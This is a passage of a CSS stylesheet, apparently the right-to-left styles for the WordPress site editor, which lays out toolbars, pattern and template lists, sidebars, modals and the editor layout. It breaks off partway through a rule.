.has-fixed-toolbar .selected-block-tools-wrapper .components-toolbar-group:after,.has-fixed-toolbar .selected-block-tools-wrapper .components-toolbar:after{
  background-color:#ddd;
  content:"";
  height:24px;
  margin-right:8px;
  margin-top:4px;
  width:1px;
}
.has-fixed-toolbar .selected-block-tools-wrapper .components-toolbar .components-toolbar-group.components-toolbar-group:after,.has-fixed-toolbar .selected-block-tools-wrapper .components-toolbar-group .components-toolbar-group.components-toolbar-group:after{
  display:none;
}
.has-fixed-toolbar .selected-block-tools-wrapper .block-editor-block-mover.is-horizontal .block-editor-block-mover-button{
  height:32px;
  overflow:visible;
}
@media (min-width:600px){
  .has-fixed-toolbar .selected-block-tools-wrapper .block-editor-block-mover:not(.is-horizontal) .block-editor-block-mover__move-button-container{
    position:relative;
    top:-10px;
  }
}
.has-fixed-toolbar .edit-site-header-edit-mode__center.is-collapsed,.has-fixed-toolbar .selected-block-tools-wrapper.is-collapsed{
  display:none;
}

.edit-site-header-edit-mode__block-tools-toggle{
  margin-right:2px;
}

.edit-site-list-header{
  align-items:center;
  box-sizing:border-box;
  display:flex;
  height:60px;
  justify-content:flex-end;
  padding-left:16px;
  position:relative;
  width:100%;
}
body.is-fullscreen-mode .edit-site-list-header{
  padding-right:60px;
  transition:padding-right 20ms linear;
  transition-delay:80ms;
}
@media (prefers-reduced-motion:reduce){
  body.is-fullscreen-mode .edit-site-list-header{
    transition-delay:0s;
    transition-duration:0s;
  }
}
.edit-site-list-header .edit-site-list-header__title{
  font-size:20px;
  margin:0;
  padding:0;
  position:absolute;
  right:0;
  text-align:center;
  width:100%;
}

.edit-site-list-header__right{
  position:relative;
}

.edit-site .edit-site-list{
  background:#fff;
  border-radius:8px;
  box-shadow:0 20px 25px -5px #000c,0 8px 10px -6px #000c;
  flex-grow:1;
}
.edit-site .edit-site-list .interface-interface-skeleton__editor{
  min-width:100%;
}
@media (min-width:782px){
  .edit-site .edit-site-list .interface-interface-skeleton__editor{
    min-width:0;
  }
}
.edit-site .edit-site-list .interface-interface-skeleton__content{
  align-items:center;
  background:#fff;
  padding:16px;
}
@media (min-width:782px){
  .edit-site .edit-site-list .interface-interface-skeleton__content{
    padding:72px;
  }
}

.edit-site-list-table{
  border:1px solid #ddd;
  border-radius:2px;
  border-spacing:0;
  margin:0 auto;
  max-width:960px;
  min-width:100%;
  overflow:hidden;
}
.edit-site-list-table tr{
  align-items:center;
  border-top:1px solid #f0f0f0;
  box-sizing:border-box;
  display:flex;
  margin:0;
  padding:16px;
}
.edit-site-list-table tr:first-child{
  border-top:0;
}
@media (min-width:782px){
  .edit-site-list-table tr{
    padding:24px 32px;
  }
}
.edit-site-list-table tr .edit-site-list-table-column:first-child{
  padding-left:24px;
  width:calc(60% - 18px);
}
.edit-site-list-table tr .edit-site-list-table-column:first-child a{
  display:inline-block;
  font-weight:500;
  margin-bottom:4px;
  text-decoration:none;
}
.edit-site-list-table tr .edit-site-list-table-column:nth-child(2){
  width:calc(40% - 18px);
  word-break:break-word;
}
.edit-site-list-table tr .edit-site-list-table-column:nth-child(3){
  flex-shrink:0;
  min-width:36px;
}
.edit-site-list-table tr.edit-site-list-table-head{
  border-bottom:1px solid #ddd;
  border-top:none;
  color:#1e1e1e;
  font-size:16px;
  font-weight:600;
  text-align:right;
}
.edit-site-list-table tr.edit-site-list-table-head th{
  font-weight:inherit;
}

@media (min-width:782px){
  .edit-site-list.is-navigation-open .components-snackbar-list{
    margin-right:360px;
  }
}

.edit-site-list__rename-modal{
  z-index:1000001;
}
@media (min-width:782px){
  .edit-site-list__rename-modal .components-base-control{
    width:320px;
  }
}

.edit-site-template__actions button:not(:last-child){
  margin-left:8px;
}

.edit-site-list-added-by__icon{
  display:flex;
  flex-shrink:0;
  height:24px;
  width:24px;
}
.edit-site-list-added-by__icon svg{
  fill:currentColor;
}

.edit-site-list-added-by__avatar{
  align-items:center;
  display:flex;
  flex-shrink:0;
  height:24px;
  justify-content:center;
  overflow:hidden;
  width:24px;
}
.edit-site-list-added-by__avatar img{
  border-radius:100%;
  height:20px;
  object-fit:cover;
  opacity:0;
  transition:opacity .1s linear;
  width:20px;
}
@media (prefers-reduced-motion:reduce){
  .edit-site-list-added-by__avatar img{
    transition-delay:0s;
    transition-duration:0s;
  }
}
.edit-site-list-added-by__avatar.is-loaded img{
  opacity:1;
}

.edit-site-list-added-by__customized-info{
  color:#757575;
  display:block;
}

.edit-site-page{
  background:#fff;
  color:#2f2f2f;
  height:100%;
}

.edit-site-page-header{
  background:#fff;
  border-bottom:1px solid #f0f0f0;
  min-height:72px;
  padding:16px 32px;
  position:sticky;
  top:0;
  z-index:2;
}
.edit-site-page-header .components-text{
  color:#2f2f2f;
}
.edit-site-page-header .components-heading{
  color:#1e1e1e;
}
.edit-site-page-header .edit-site-page-header__sub-title{
  color:#757575;
  margin-top:8px;
}

.edit-site-page-content{
  display:flex;
  flex-flow:column;
  height:100%;
  position:relative;
  z-index:1;
}

.page-pages-preview-field__button{
  background-color:unset;
  border:none;
  border-radius:3px 3px 0 0;
  box-shadow:none;
  box-sizing:border-box;
  cursor:pointer;
  height:100%;
  overflow:hidden;
  padding:0;
  width:100%;
}
.page-pages-preview-field__button:focus-visible{
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
  outline:2px solid #0000;
}
.page-pages-preview-field__button.edit-site-page-pages__media-wrapper{
  background-color:#f0f0f0;
  border-radius:4px;
  display:block;
  flex-grow:0 !important;
  height:32px;
  overflow:hidden;
  position:relative;
  width:32px;
}
.page-pages-preview-field__button.edit-site-page-pages__media-wrapper .edit-site-page-pages__featured-image{
  height:100%;
  object-fit:cover;
  width:100%;
}
.page-pages-preview-field__button.edit-site-page-pages__media-wrapper:after{
  border-radius:4px;
  box-shadow:inset 0 0 0 1px #0000001a;
  content:"";
  height:100%;
  position:absolute;
  right:0;
  top:0;
  width:100%;
}

.edit-site-patterns{
  background:#1e1e1e;
  border-radius:0;
  border-right:1px solid #2f2f2f;
  margin:60px 0 0;
  min-height:100%;
  overflow-x:auto;
  padding:0;
}
.edit-site-patterns .components-base-control{
  width:100%;
}
@media (min-width:782px){
  .edit-site-patterns .components-base-control{
    width:auto;
  }
}
.edit-site-patterns .components-text{
  color:#949494;
}
.edit-site-patterns .components-heading{
  color:#e0e0e0;
}
@media (min-width:782px){
  .edit-site-patterns{
    margin:0;
  }
}
.edit-site-patterns .edit-site-patterns__search-block{
  flex-grow:1;
  min-width:-moz-fit-content;
  min-width:fit-content;
}
.edit-site-patterns .edit-site-patterns__search{
  --wp-components-color-foreground:#e0e0e0;
}
.edit-site-patterns .edit-site-patterns__search .components-input-control__container{
  background:#2f2f2f;
}
.edit-site-patterns .edit-site-patterns__search svg{
  fill:#949494;
}
.edit-site-patterns .edit-site-patterns__sync-status-filter{
  background:#2f2f2f;
  border:none;
  height:40px;
  max-width:100%;
  min-width:max-content;
  width:100%;
}
@media (min-width:782px){
  .edit-site-patterns .edit-site-patterns__sync-status-filter{
    width:300px;
  }
}
.edit-site-patterns .edit-site-patterns__sync-status-filter-option:not([aria-checked=true]){
  color:#949494;
}
.edit-site-patterns .edit-site-patterns__sync-status-filter-option:active{
  background:#757575;
  color:#f0f0f0;
}

.edit-site-patterns__header{
  background:#1e1e1e;
  padding:32px 32px 16px;
  position:sticky;
  top:0;
  z-index:2;
}
.edit-site-patterns__header .edit-site-patterns__button{
  color:#949494;
}

.edit-site-patterns__section{
  flex:1;
  padding:24px 32px;
}

.edit-site-patterns__section-header .screen-reader-shortcut:focus{
  top:0;
}

.edit-site-patterns__grid{
  display:grid;
  gap:32px;
  grid-template-columns:1fr;
  margin-bottom:0;
  margin-top:0;
}
@media (min-width:960px){
  .edit-site-patterns__grid{
    grid-template-columns:1fr 1fr;
  }
}
@media (min-width:1440px){
  .edit-site-patterns__grid{
    grid-template-columns:1fr 1fr 1fr;
  }
}
@media (min-width:1920px){
  .edit-site-patterns__grid{
    grid-template-columns:1fr 1fr 1fr 1fr;
  }
}
.edit-site-patterns__grid .edit-site-patterns__pattern{
  break-inside:avoid-column;
  display:flex;
  flex-direction:column;
}
.edit-site-patterns__grid .edit-site-patterns__pattern .edit-site-patterns__preview{
  background-color:unset;
  border:none;
  border-radius:4px;
  box-shadow:none;
  box-sizing:border-box;
  cursor:pointer;
  overflow:hidden;
  padding:0;
}
.edit-site-patterns__grid .edit-site-patterns__pattern .edit-site-patterns__preview:focus{
  box-shadow:inset 0 0 0 0 #fff, 0 0 0 2px var(--wp-admin-theme-color);
  outline:2px solid #0000;
}
.edit-site-patterns__grid .edit-site-patterns__pattern .edit-site-patterns__preview.is-inactive{
  cursor:default;
}
.edit-site-patterns__grid .edit-site-patterns__pattern .edit-site-patterns__preview.is-inactive:focus{
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) #2f2f2f;
  opacity:.8;
}
.edit-site-patterns__grid .edit-site-patterns__pattern .edit-site-patterns__button,.edit-site-patterns__grid .edit-site-patterns__pattern .edit-site-patterns__footer{
  color:#949494;
}
.edit-site-patterns__grid .edit-site-patterns__pattern .edit-site-patterns__dropdown{
  flex-shrink:0;
}
.edit-site-patterns__grid .edit-site-patterns__pattern.is-placeholder .edit-site-patterns__preview{
  align-items:center;
  border:1px dashed #2f2f2f;
  color:#949494;
  display:flex;
  justify-content:center;
  min-height:64px;
}
.edit-site-patterns__grid .edit-site-patterns__pattern.is-placeholder .edit-site-patterns__preview:focus{
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
}
.edit-site-patterns__grid .edit-site-patterns__preview{
  flex:0 1 auto;
  margin-bottom:12px;
}

.edit-site-patterns__load-more{
  align-self:center;
}

.edit-site-patterns__pattern-title{
  color:#e0e0e0;
}
.edit-site-patterns__pattern-title .is-link{
  color:#e0e0e0;
  text-decoration:none;
}
.edit-site-patterns__pattern-title .is-link:focus,.edit-site-patterns__pattern-title .is-link:hover{
  color:#fff;
}
.edit-site-patterns__pattern-title .edit-site-patterns__pattern-icon{
  background:var(--wp-block-synced-color);
  border-radius:4px;
  fill:#fff;
}
.edit-site-patterns__pattern-title .edit-site-patterns__pattern-lock-icon{
  fill:currentcolor;
}

.edit-site-patterns__no-results{
  color:#949494;
}

.edit-site-patterns__delete-modal{
  width:384px;
}

.edit-site-patterns__pagination{
  background:#1e1e1e;
  border-top:1px solid #2f2f2f;
  bottom:0;
  color:#f0f0f0;
  padding:24px 32px;
  position:sticky;
  z-index:2;
}
.edit-site-patterns__pagination .components-button.is-tertiary{
  background-color:#2f2f2f;
  color:#f0f0f0;
}
.edit-site-patterns__pagination .components-button.is-tertiary:disabled{
  background:none;
  color:#949494;
}
.edit-site-patterns__pagination .components-button.is-tertiary:hover:not(:disabled){
  background-color:#757575;
}
.edit-site-page-patterns-dataviews{
  margin-top:60px;
}
@media (min-width:782px){
  .edit-site-page-patterns-dataviews{
    margin-top:0;
  }
}
.edit-site-page-patterns-dataviews .page-patterns-preview-field{
  border-radius:3px 3px 0 0;
  display:flex;
  flex-direction:column;
  height:100%;
}
.edit-site-page-patterns-dataviews .page-patterns-preview-field.is-viewtype-grid .block-editor-block-preview__container{
  border-radius:3px 3px 0 0;
  height:100%;
}
.edit-site-page-patterns-dataviews .page-patterns-preview-field .page-patterns-preview-field__button{
  background-color:unset;
  border:none;
  border-radius:3px 3px 0 0;
  box-shadow:none;
  box-sizing:border-box;
  cursor:pointer;
  height:100%;
  overflow:hidden;
  padding:0;
}
.edit-site-page-patterns-dataviews .page-patterns-preview-field .page-patterns-preview-field__button:focus-visible{
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
  outline:2px solid #0000;
}
.edit-site-page-patterns-dataviews .edit-site-patterns__pattern-icon{
  fill:var(--wp-block-synced-color);
  flex-shrink:0;
}
.edit-site-page-patterns-dataviews .edit-site-patterns__pattern-lock-icon{
  min-width:min-content;
}
.edit-site-page-patterns-dataviews .edit-site-patterns__section-header{
  border-bottom:1px solid #f0f0f0;
  min-height:72px;
  padding:16px 32px;
  position:sticky;
  top:0;
  z-index:2;
}
.edit-site-page-patterns-dataviews .edit-site-patterns__pattern-title{
  color:inherit;
  display:block;
  overflow:hidden;
  text-overflow:ellipsis;
  white-space:nowrap;
  width:100%;
}
.edit-site-page-patterns-dataviews .dataviews-pagination{
  z-index:2;
}

.dataviews-action-modal__duplicate-pattern [role=dialog]>[role=document]{
  width:350px;
}
.dataviews-action-modal__duplicate-pattern .patterns-menu-items__convert-modal-categories{
  position:relative;
}
.dataviews-action-modal__duplicate-pattern .components-form-token-field__suggestions-list:not(:empty){
  background-color:#fff;
  border:1px solid var(--wp-admin-theme-color);
  border-bottom-left-radius:2px;
  border-bottom-right-radius:2px;
  box-shadow:0 0 .5px .5px var(--wp-admin-theme-color);
  box-sizing:border-box;
  max-height:96px;
  min-width:auto;
  position:absolute;
  right:-1px;
  width:calc(100% + 2px);
  z-index:1;
}

@media (min-width:600px){
  .dataviews-action-modal__duplicate-template-part .components-modal__frame{
    max-width:500px;
  }
}

.page-templates-preview-field{
  border-radius:3px 3px 0 0;
  display:flex;
  flex-direction:column;
  height:100%;
}
.page-templates-preview-field .page-templates-preview-field__button{
  background-color:unset;
  border:none;
  border-radius:3px;
  box-shadow:none;
  box-sizing:border-box;
  cursor:pointer;
  height:100%;
  overflow:hidden;
  padding:0;
}
.page-templates-preview-field .page-templates-preview-field__button:focus-visible{
  box-shadow:0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color);
  outline:2px solid #0000;
}
.page-templates-preview-field.is-viewtype-list .block-editor-block-preview__container{
  height:120px;
}
.page-templates-preview-field.is-viewtype-grid .block-editor-block-preview__container{
  height:auto;
}
.page-templates-preview-field.is-viewtype-grid .page-templates-preview-field__button{
  border-radius:3px 3px 0 0;
}
.page-templates-preview-field.is-viewtype-table{
  border-radius:2px;
  position:relative;
}
.page-templates-preview-field.is-viewtype-table:after{
  border-radius:2px;
  box-shadow:inset 0 0 0 1px #0000001a;
  content:"";
  height:100%;
  position:absolute;
  right:0;
  top:0;
  width:100%;
}

.page-templates-description{
  white-space:normal;
}

.edit-site-page-template-template-parts-dataviews .dataviews-pagination{
  z-index:2;
}

.edit-site-table-wrapper{
  padding:32px;
  width:100%;
}

.edit-site-table{
  border-collapse:collapse;
  border-color:inherit;
  position:relative;
  text-indent:0;
  width:100%;
}
.edit-site-table a{
  text-decoration:none;
}
.edit-site-table th{
  color:#757575;
  font-weight:400;
  padding:0 16px 16px;
  text-align:right;
}
.edit-site-table td{
  padding:16px;
}
.edit-site-table td,.edit-site-table th{
  vertical-align:center;
}
.edit-site-table td:first-child,.edit-site-table th:first-child{
  padding-right:0;
}
.edit-site-table td:last-child,.edit-site-table th:last-child{
  padding-left:0;
  text-align:left;
}
.edit-site-table tr{
  border-bottom:1px solid #f0f0f0;
}

.edit-site-sidebar-edit-mode{
  width:280px;
}
.edit-site-sidebar-edit-mode>.components-panel{
  border-left:0;
  border-right:0;
  margin-bottom:-1px;
  margin-top:-1px;
}
.edit-site-sidebar-edit-mode>.components-panel>.components-panel__header{
  background:#f0f0f0;
}
.edit-site-sidebar-edit-mode .block-editor-block-inspector__card{
  margin:0;
}

.edit-site-global-styles-sidebar{
  display:flex;
  flex-direction:column;
  min-height:100%;
}
.edit-site-global-styles-sidebar__navigator-provider,.edit-site-global-styles-sidebar__panel{
  display:flex;
  flex:1;
  flex-direction:column;
}
.edit-site-global-styles-sidebar__navigator-screen{
  flex:1;
}

.edit-site-global-styles-sidebar .interface-complementary-area-header .components-button.has-icon{
  margin-right:0;
}

.edit-site-global-styles-sidebar__reset-button.components-button{
  margin-right:auto;
}

.edit-site-global-styles-sidebar .components-navigation__menu-title-heading{
  font-size:15.6px;
  font-weight:500;
}

.edit-site-global-styles-sidebar .components-navigation__item>button span{
  font-weight:500;
}

.edit-site-global-styles-sidebar .block-editor-panel-color-gradient-settings,.edit-site-typography-panel{
  border:0;
}

.edit-site-global-styles-sidebar .single-column{
  grid-column:span 1;
}

.edit-site-global-styles-sidebar .components-tools-panel .span-columns{
  grid-column:1 /  -1;
}

.edit-site-global-styles-sidebar__blocks-group{
  border-top:1px solid #e0e0e0;
  padding-top:24px;
}

.edit-site-global-styles-sidebar__blocks-group-help{
  padding:0 16px;
}

.edit-site-global-styles-color-palette-panel,.edit-site-global-styles-gradient-palette-panel{
  padding:16px;
}

.edit-site-global-styles-sidebar hr{
  margin:0;
}

.show-icon-labels .edit-site-global-styles-sidebar__header .components-button.has-icon svg{
  display:none;
}
.show-icon-labels .edit-site-global-styles-sidebar__header .components-button.has-icon:after{
  content:attr(aria-label);
  font-size:12px;
}

.edit-site-sidebar__panel{
  margin-top:-1px;
}

.edit-site-page-panels__swap-template__confirm-modal__actions{
  margin-top:24px;
}

.edit-site-change-status__content .components-popover__content{
  min-width:320px;
  padding:16px;
}
.edit-site-change-status__content .edit-site-change-status__options .components-base-control__field>.components-v-stack{
  gap:8px;
}
.edit-site-change-status__content .edit-site-change-status__options label .components-text{
  display:block;
}
.edit-site-change-status__content .edit-site-change-status__password-legend{
  margin-bottom:8px;
  padding:0;
}

.edit-site-summary-field__trigger{
  display:block;
  max-width:100%;
  overflow:hidden;
  text-align:right;
  text-overflow:ellipsis;
  white-space:nowrap;
}

.components-panel__header.edit-site-sidebar-edit-mode__panel-tabs{
  padding-left:16px;
  padding-right:0;
}
.components-panel__header.edit-site-sidebar-edit-mode__panel-tabs .components-button.has-icon{
  height:24px;
  min-width:24px;
  padding:0;
}
@media (min-width:782px){
  .components-panel__header.edit-site-sidebar-edit-mode__panel-tabs .components-button.has-icon{
    display:flex;
  }
}

.edit-site-sidebar-card{
  align-items:flex-start;
  display:flex;
}
.edit-site-sidebar-card__content{
  flex-grow:1;
  margin-bottom:4px;
}
.edit-site-sidebar-card__title{
  font-weight:500;
  line-height:24px;
}
.edit-site-sidebar-card__title.edit-site-sidebar-card__title{
  font-size:13px;
  line-height:1.4;
  margin:0;
  padding:3px 0;
}
.edit-site-sidebar-card__description{
  font-size:13px;
}
.edit-site-sidebar-card__icon{
  flex:0 0 24px;
  height:24px;
  margin-left:12px;
  width:24px;
}
.edit-site-sidebar-card__header{
  display:flex;
  justify-content:space-between;
  margin:0 0 4px;
}

.edit-site-template-card__template-areas{
  margin-top:16px;
}
.edit-site-template-card__template-areas-list,.edit-site-template-card__template-areas-list>li{
  margin:0;
}
.edit-site-template-card__template-areas-item{
  width:100%;
}
.edit-site-template-card__template-areas-item.components-button.has-icon{
  padding:0;
}
.edit-site-template-card__actions{
  line-height:0;
}
.edit-site-template-card__actions>.components-button.is-small.has-icon{
  min-width:auto;
  padding:0;
}

h3.edit-site-template-card__template-areas-title{
  font-weight:500;
  margin:0 0 8px;
}

.edit-site-template-panel__replace-template-modal{
  z-index:1000001;
}

.edit-site-template-panel__replace-template-modal__content{
  column-count:2;
  column-gap:24px;
}
@media (min-width:782px){
  .edit-site-template-panel__replace-template-modal__content{
    column-count:3;
  }
}
@media (min-width:1280px){
  .edit-site-template-panel__replace-template-modal__content{
    column-count:4;
  }
}

.edit-site-editor__interface-skeleton{
  opacity:1;
  transition:opacity .1s ease-out;
}
@media (prefers-reduced-motion:reduce){
  .edit-site-editor__interface-skeleton{
    transition-delay:0s;
    transition-duration:0s;
  }
}
.edit-site-editor__interface-skeleton.is-loading{
  opacity:0;
}
.edit-site-editor__interface-skeleton .interface-interface-skeleton__header{
  border:0;
}

.edit-site-editor__toggle-save-panel{
  background-color:#fff;
  border:1px dotted #ddd;
  box-sizing:border-box;
  display:flex;
  justify-content:center;
  padding:24px;
  width:280px;
}

.edit-site .components-editor-notices__snackbar{
  bottom:40px;
  left:0;
  padding-left:16px;
  padding-right:16px;
  position:absolute;
  right:0;
}
@media (min-width:783px){
  .edit-site .components-editor-notices__snackbar{
    right:160px;
  }
}
@media (min-width:783px){
  .auto-fold .edit-site .components-editor-notices__snackbar{
    right:36px;
  }
}
@media (min-width:961px){
  .auto-fold .edit-site .components-editor-notices__snackbar{
    right:160px;
  }
}
.folded .edit-site .components-editor-notices__snackbar{
  right:0;
}
@media (min-width:783px){
  .folded .edit-site .components-editor-notices__snackbar{
    right:36px;
  }
}

body.is-fullscreen-mode .edit-site .components-editor-notices__snackbar{
  right:0 !important;
}

.edit-site-create-template-part-modal{
  z-index:1000001;
}
@media (min-width:600px){
  .edit-site-create-template-part-modal .components-modal__frame{
    max-width:500px;
  }
}

.edit-site-create-template-part-modal__area-radio-group{
  border:1px solid #757575;
  border-radius:2px;
  width:100%;
}
.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio{
  display:block;
  height:100%;
  padding:12px;
  text-align:right;
  width:100%;
}
.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio,.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio.is-primary:hover,.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio.is-secondary:hover{
  background-color:inherit;
  border-bottom:1px solid #757575;
  border-radius:0;
  margin:0;
}
.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio.is-primary:hover:not(:focus),.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio.is-secondary:hover:not(:focus),.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio:not(:focus){
  box-shadow:none;
}
.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio.is-primary:hover:focus,.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio.is-secondary:hover:focus,.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio:focus{
  border-bottom:1px solid #fff;
}
.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio.is-primary:hover:last-of-type,.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio.is-secondary:hover:last-of-type,.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio:last-of-type{
  border-bottom:none;
}
.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio:not(:hover),.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio[aria-checked=true]{
  color:#1e1e1e;
  cursor:auto;
}
.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio:not(:hover) .edit-site-create-template-part-modal__option-label div,.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio[aria-checked=true] .edit-site-create-template-part-modal__option-label div{
  color:#949494;
}
.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio .edit-site-create-template-part-modal__option-label{
  padding-top:4px;
  white-space:normal;
}
.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio .edit-site-create-template-part-modal__option-label div{
  font-size:12px;
  padding-top:4px;
}
.edit-site-create-template-part-modal__area-radio-group .components-button.edit-site-create-template-part-modal__area-radio .edit-site-create-template-part-modal__checkbox{
  margin-right:auto;
  min-width:24px;
}

.edit-site-welcome-guide{
  width:312px;
}
.edit-site-welcome-guide.guide-editor .edit-site-welcome-guide__image .edit-site-welcome-guide.guide-styles .edit-site-welcome-guide__image{
  background:#00a0d2;
}
.edit-site-welcome-guide.guide-page .edit-site-welcome-guide__video{
  border-left:16px solid #3858e9;
  border-top:16px solid #3858e9;
}
.edit-site-welcome-guide.guide-template .edit-site-welcome-guide__video{
  border-right:16px solid #3858e9;
  border-top:16px solid #3858e9;
}
.edit-site-welcome-guide__image{
  margin:0 0 16px;
}
.edit-site-welcome-guide__image>img{
  display:block;
  max-width:100%;
  object-fit:cover;
}
.edit-site-welcome-guide__heading{
  font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;
  font-size:24px;
  line-height:1.4;
  margin:16px 0;
  padding:0 32px;
}
.edit-site-welcome-guide__text{
  font-size:13px;
  line-height:1.4;
  margin:0 0 16px;
  padding:0 32px;
}
.edit-site-welcome-guide__text img{
  vertical-align:bottom;
}
.edit-site-welcome-guide__inserter-icon{
  margin:0 4px;
  vertical-align:text-top;
}

.edit-site-start-template-options__modal .edit-site-start-template-options__modal__actions{
  background-color:#fff;
  border-top:1px solid #ddd;
  bottom:0;
  height:92px;
  margin-left:-32px;
  margin-right:-32px;
  padding-left:32px;
  padding-right:32px;
  position:absolute;
  width:100%;
  z-index:1;
}
.edit-site-start-template-options__modal .block-editor-block-patterns-list{
  padding-bottom:92px;
}

.edit-site-start-template-options__modal-content .block-editor-block-patterns-list{
  column-count:2;
  column-gap:24px;
}
@media (min-width:782px){
  .edit-site-start-template-options__modal-content .block-editor-block-patterns-list{
    column-count:3;
  }
}
@media (min-width:1280px){
  .edit-site-start-template-options__modal-content .block-editor-block-patterns-list{
    column-count:4;
  }
}
.edit-site-start-template-options__modal-content .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item{
  break-inside:avoid-column;
}
.edit-site-start-template-options__modal-content .block-editor-block-patterns-list .block-editor-block-patterns-list__list-item .block-editor-block-patterns-list__item-title{
  display:none;
}
.edit-site-start-template-options__modal-content .block-editor-block-patterns-list .block-editor-block-patterns-list__item:not(:focus):not(:hover) .block-editor-block-preview__container{
  box-shadow:0 0 0 1px #ddd;
}

.edit-site-keyboard-shortcut-help-modal__section{
  margin:0 0 2rem;
}
.edit-site-keyboard-shortcut-help-modal__section-title{
  font-size:.9rem;
  font-weight:600;
}
.edit-site-keyboard-shortcut-help-modal__shortcut{
  align-items:baseline;
  border-top:1px solid #ddd;
  display:flex;
  margin-bottom:0;
  padding:.6rem 0;
}
.edit-site-keyboard-shortcut-help-modal__shortcut:last-child{
  border-bottom:1px solid #ddd;
}
.edit-site-keyboard-shortcut-help-modal__shortcut:empty{
  display:none;
}
.edit-site-keyboard-shortcut-help-modal__shortcut-term{
  font-weight:600;
  margin:0 1rem 0 0;
  text-align:left;
}
.edit-site-keyboard-shortcut-help-modal__shortcut-description{
  flex:1;
  flex-basis:auto;
  margin:0;
}
.edit-site-keyboard-shortcut-help-modal__shortcut-key-combination{
  background:none;
  display:block;
  margin:0;
  padding:0;
}
.edit-site-keyboard-shortcut-help-modal__shortcut-key-combination+.edit-site-keyboard-shortcut-help-modal__shortcut-key-combination{
  margin-top:10px;
}
.edit-site-keyboard-shortcut-help-modal__shortcut-key{
  border-radius:8%;
  margin:0 .2rem;
  padding:.25rem .5rem;
}
.edit-site-keyboard-shortcut-help-modal__shortcut-key:last-child{
  margin:0 .2rem 0 0;
}

.edit-site-layout{
  background:#1e1e1e;
  color:#ccc;
  display:flex;
  flex-direction:column;
  height:100%;
}

.edit-site-layout__hub{
  height:60px;
  position:fixed;
  right:0;
  top:0;
  width:calc(100vw - 32px);
  z-index:3;
}
@media (min-width:782px){
  .edit-site-layout__hub{
    width:336px;
  }
}
.edit-site-layout.is-full-canvas .edit-site-layout__hub{
  border-radius:0;
  box-shadow:none;
  padding-left:0;
  width:60px;
}

.edit-site-layout__header-container{
  z-index:4;
}

.edit-site-layout__header{
  display:flex;
  height:60px;
  z-index:2;
}
.edit-site-layout:not(.is-full-canvas) .edit-site-layout__header{
  position:fixed;
  width:100vw;
}

.edit-site-layout__content{
  display:flex;
  flex-grow:1;
  height:100%;
}

.edit-site-layout__sidebar-region{
  flex-shrink:0;
  width:100vw;
  z-index:1;
}
@media (min-width:782px){
  .edit-site-layout__sidebar-region{
    width:360px;
  }
}
.edit-site-layout.is-full-canvas .edit-site-layout__sidebar-region{
  height:100vh;
  position:fixed !important;
  right:0;
  top:0;
}
.edit-site-layout__sidebar-region .edit-site-layout__sidebar{
  display:flex;
  flex-direction:column;
  height:100%;
}
.edit-site-layout__sidebar-region .resizable-editor__drag-handle{
  left:0;
}

.edit-site-layout__main{
  display:flex;
  flex-direction:column;
  flex-grow:1;
  overflow:hidden;
}

.edit-site-layout__mobile{
  position:relative;
  width:100%;
  z-index:2;
}

.edit-site-layout__canvas-container{
  flex-grow:1;
  position:relative;
  z-index:2;
}
.edit-site-layout__canvas-container.is-resizing:after{
  bottom:0;
  content:"";
  left:0;
  position:absolute;
  right:0;
  top:0;
  z-index:100;
}

.edit-site-layout__canvas{
  align-items:center;
  bottom:0;
  display:flex;
  justify-content:center;
  position:absolute;
  right:0;
  top:0;
  width:100%;
}
.edit-site-layout__canvas.is-right-aligned{
  justify-content:flex-end;
}
.edit-site-layout__canvas>div{
  color:#1e1e1e;
}
@media (min-width:782px){
  .edit-site-layout__canvas{
    bottom:16px;
    top:16px;
    width:calc(100% - 16px);
  }
  .edit-site-layout:not(.is-full-canvas) .edit-site-layout__canvas>div .edit-site-visual-editor__editor-canvas,.edit-site-layout:not(.is-full-canvas) .edit-site-layout__canvas>div .interface-interface-skeleton__content,.edit-site-layout__canvas>div{
    border-radius:8px;
  }
}
.edit-site-layout.is-full-canvas .edit-site-layout__canvas{
  bottom:0;
  top:0;
  width:100%;
}
.edit-site-layout.is-full-canvas .edit-site-layout__canvas>div{
  border-radius:0;
}

.edit-site-layout__canvas .interface-interface-skeleton,.edit-site-layout__mobile .interface-interface-skeleton,.edit-site-template-pages-preview .interface-interface-skeleton{
  min-height:100% !important;
  position:relative !important;
}

.edit-site-template-pages-preview{
  height:100%;
}

.edit-site-layout__view-mode-toggle.components-button{
  align-items:center;
  border-bottom:1px solid #0000;
  border-radius:0;
  color:#fff;
  display:flex;
  height:60px;
  justify-content:center;
